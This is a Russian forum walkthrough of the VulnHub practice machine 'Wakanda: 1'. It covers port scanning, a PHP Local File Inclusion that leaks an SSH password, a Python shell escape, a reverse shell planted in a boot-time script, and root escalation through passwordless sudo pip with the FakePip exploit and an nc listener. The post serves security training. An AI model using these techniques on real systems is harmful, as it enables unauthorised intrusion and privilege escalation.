Взлом в стиле Mr.Robot

  • Автор темы Автор темы LeSora
  • Дата начала Дата начала

LeSora

В этой статье мы с вами займемся взломом виртуальных машин с VulnHub. Для тех кто не в курсе, сервис VulnHub предоставляет образы операционных систем с сервисами, в которых заведомо «вшиты» популярные уязвимости. Сайт создавался, чтобы каждый мог получить практический опыт в области компьютерной безопасности и сетевого администрирования. Нужно всего лишь скачать образ виртуальной машины, правильно настроить сеть и запустить.


  • Подготовка виртуальной машины
Для начала нужно скачать необходимо ПО софт и сам образ виртуалки. Запускать будем в VirtualBox. Теперь выберем одну из новых виртуальных машин, например
Вам необходимо выполнить Вход либо Регистрация для просмотра ссылок!
.



Предположим, что вы справились у загрузкой и установкой VirtualBox. Теперь перейдем к настройке сети. Откройте менеджер сетей хоста и создайте новый адаптер.

vulnhub-virtual-machine-setup-1.png

vulnhub-virtual-machine-setup-2.png

Импортируем виртуальную машину в VirtualBox и идем в ее настройки. Нам нужна вкладка «Сеть». Устанавливаем тип подключения как «Виртуальный адаптер хоста» и указываем недавно созданный виртуальный адаптер. Обращаем внимание на созданный MAC-адрес, так как он нам еще понадобится, чтобы найти его в сети.

vulnhub-virtual-machine-setup-3.png

Теперь можно запускать. Сделаем это!

starting-vulnhub-1.png

  • Поиск машины
После того как мы экспортировали и запустили виртуалку, нам нужно узнать, какой у нее IP-адрес. Для этого на хосте воспользуемся командой $ arp-scan -l на Kali Linux, которая находится в одной сети с Wakanda.

starting-vulnhub-2.png

  • Сканирование портов
Как обычно, начнем исследование машины со скана портов. Для этого воспользуемся утилитой Nmap:

$ nmap -p- -sV 192.168.93.128

starting-vulnhub-3.png

Видим, что запущен Apache на 80-м порте, SSH на 3333-м и какой-то мусор на 111-м и 56737-м портах.



  • Сайт на PHP
Начнем с сервиса на 80-м порте. Там висит ничем в целом не примечательный сайт без каких-то особенных функций.

using-vulnhub.jpg

Прежде чем фаззить директории, залезем в исходный код страницы. Видим закомментированную ссылку, вероятно на французскую версию сайта.

using-vulnhub-1.png

Попробуем зайти. И правда, сайт теперь на французском языке.

using-vulnhub-1.jpg

Откроем
Вам необходимо выполнить Вход либо Регистрация для просмотра ссылок!
и попробуем профаззить параметр lang.

using-vulnhub-2.png

И с первого же раза получаем исходный код страницы index.php с помощью уязвимости Local File Inclusion и фильтра Base64 PHP. Раскодируем с помощью команды $ base64 -D или через
Вам необходимо выполнить Вход либо Регистрация для просмотра ссылок!
и увидим в самом начале какой-то пароль. Интересно, от чего же он?

using-vulnhub-3.png

  • Получаем доступ по SSH
Вспоминаем, что на 3333-м порте в машине запущен SSH. Возможно, пароль подойдет к нему. Но какой логин? Пройдемся еще раз по исходникам сайта и увидим, что сайт создал некий mamadou. Пробуем подключиться, используя полученный пароль: $ ssh -lmamadou 192.168.93.128 -p 3333.

using-vulnhub-4.png

использование vulnhub
  • Первый флаг
Зашли, видим запущенный Python 2. Теперь войдем в Bash с помощью команды

import os; os.system("/bin/bash")

Итак, мы в системе. Посмотрим, что в домашней папке ($ ls), видим файл flag1.txt, выведем его содержимое с помощью $ cat flag1.txt.

using-vulnhub-5.png

  • В поисках второго флага
Для начала узнаем, где находится файл flag2.txt. Для этого выполним $ locate flag2.txt. Как оказалось, второй флаг ждет нас в /home/devops/flag2.txt, но у нас нет прав, чтобы его прочитать, а владелец — пользователь devops из группы developer.

using-vulnhub-6.png

Поищем еще файлы, которые ему принадлежат. Для этого посмотрим на результат команды

$ find / -user devops

hacking-vulnhub.png

Видим, что есть скрытый файл /srv/.antivirus.py с весьма прозаичным содержанием.

hacking-vulnhub-1.png

Судя по тому, что файл /tmp/test существует, этот скрипт выполняется при загрузке от пользователя devops. Поэтому добавим туда простой реверс-шелл и перезагрузим виртуалку.

hacking-vulnhub-2.png

Теперь подключимся посмотрим список файлов:

$ ls /home/devops. Файл со вторым флагом на месте! Выводим его $ cat flag2.txt.

hacking-vulnhub-3.png

  • Последний рубеж: получаем root(.txt)
Поискав публичные
Вам необходимо выполнить Вход либо Регистрация для просмотра ссылок!
для эскалации привилегий на этой версии ядра, мы ничего не нашли. Придется делать ручками. Для начала сделаем полученную сессию «нормальной»
Вам необходимо выполнить Вход либо Регистрация для просмотра ссылок!
.

Посмотрим, кто в системе может запускать программы от имени администратора с помощью sudo -l.

vulnhub-what-is-it.png

Как видим, /usr/bin/pip работает с sudo без пароля, а значит, осталось сделать совсем немного.

Гуглим «pip privileges escalation» и прямо на первой статье видим ссылку на FakePip. Делаем все по инструкции:

$ cd /tmp && wget
Вам необходимо выполнить Вход либо Регистрация для просмотра ссылок!


Меняем переменную RHOST на наш айпишник.

vulnhub-what-is-it-2.png

Запускаем у себя

nc -lvvp 443, а на виртуалке $ sudo pip install . —upgrade —force-reinstall.

vulnhub-what-is-it-3.png

Теперь у нас есть права администратора, и остается одна команда…

$ locate root.txt | xargs cat

vulnhub-what-is-it-4.png

Done!



Заключение
Мы просканировали порты на виртуальной машине; выяснили, что на 80-м порте запущен Apache с веб-приложением на PHP, а на 3333-м — SSH. Нашли в PHP уязвимость Local File Inclusion и проэксплуатировали ее, получив исходный код страницы, в котором переменной $password был присвоен пароль от SSH пользователя mamadou.

Первый флаг был в домашней папке пользователя. Изменив скрытый файл /srv/.antivirus.py, который принадлежит пользователю devops и исполняется от его имени при загрузке системы, мы получили возможность работать от его имени и нашли второй флаг в /home/devops/flag2.txt. Узнав, что PIP может устанавливать пакеты от имени администратора без пароля sudo, мы повысили привилегии до root с помощью публичного эксплоита и нашли третий флаг в /root/root.txt.

На этом мы закончим с «Wakanda: 1». Надеюсь данная статья поможет вам в использовании VulnHub.
 

Вас может заинтересовать

Ответы
2
Просмотры
RipleyPidorkin
Ответы
0
Просмотры
Назад
Сверху